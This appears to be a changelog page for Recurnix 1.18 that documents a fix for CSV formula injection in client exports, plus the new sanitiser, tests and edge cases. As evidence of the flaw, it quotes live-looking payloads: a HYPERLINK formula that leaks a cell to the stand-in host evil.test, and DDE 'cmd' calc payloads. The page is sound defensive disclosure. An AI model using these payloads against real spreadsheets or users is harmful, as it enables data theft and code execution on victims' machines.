Docs › Releases › 1.18 › Changelog
Recurnix 1.18 changelog
Every change in 1.18, by kind. For what it means and whether to update, read the release notes.
Fixed
- The CSV exports wrote client-supplied text straight into a spreadsheet. A CSV file is inert; the application that opens it is not. A cell whose first character is
=,+,-,@, a tab or a carriage return is read as a formula. A client sets their own company name from their own profile page —company_nameis validatednullable|string|max:120and nothing else — so a customer could store=HYPERLINK("https://evil.test/?d="&A1,"Invoice")and have it run on the machine of whoever exported and opened the book. Measured against the shipped code, the realstreamClients()produced:
`` 49,"=HYPERLINK(""https://evil.test/?d=""&A1,""Invoice"")","@SUM(1+9)*cmd|'/c calc'!A0","-2+3+cmd|'/c calc'!A0",…,"+44 20 7946 0000",… ``
Four columns — company, first name, last name and phone — arrived as formulas. All seven exports go through one writer, so all seven were affected.
- The CSV was never malformed.
fputcsv()quoted every one of those payloads perfectly, and that is exactly the point: the file is valid, and the reader runs it. No amount of escaping in the writer prevents this.
Added
App\Support\CsvSafety— a value in, a value out. Prefixes the six triggering characters with'so the reader treats the cell as text, and leaves every plain number alone.- 30 more committed tests (186 total, 602 assertions), half of them about the values that must not change.
Changed
ExportController::put()— the single place a row is written — now passes every row throughCsvSafety::row().
Notes
- ⚠ The half that was easy to get wrong.
-19.99is a credit note and-2500.00is a refund; both begin with a character on the trigger list. A guard that prefixes them turns every negative in the book into text and breaks everySUMin the sheet — worse than the hole it closes. So a cell that is a plain number is never touched, whatever it starts with, and a payload cannot be a plain number. Verified through the real writer, with the values as strings and as PHP floats and ints:-19.99,-2500.00and1500.00come out byte-identical. - Who the attacker is, and it is new. Every finding in this run so far needed a staff account. This one does not: the payload is written by a customer, from their own profile, and executes on staff. The export itself is still permission-gated; the data in it never was.
- What this does not cover, stated rather than implied. The portal's "download my data" export is JSON (
application/json,.json), not a spreadsheet format, and is untouched. There is exactly onefputcsvin the codebase and a test now fails if a second one appears. - The cost, honestly. The guard writes a real apostrophe into the file. Some tools will show it. That is accepted over the alternative — stripping characters out of a customer's actual name silently corrupts the record the export exists to reproduce. What was verified here is the bytes in the file, not any particular spreadsheet's rendering of them.
- Housekeeping (#46). The v1.17 permission sweep was too blunt and had to be repaired afterwards. The recipe now excludes
storage/,bootstrap/cache/and anything git tracks as mode100755up front, and assertsgit diff --summaryreports no mode changes before anything is committed.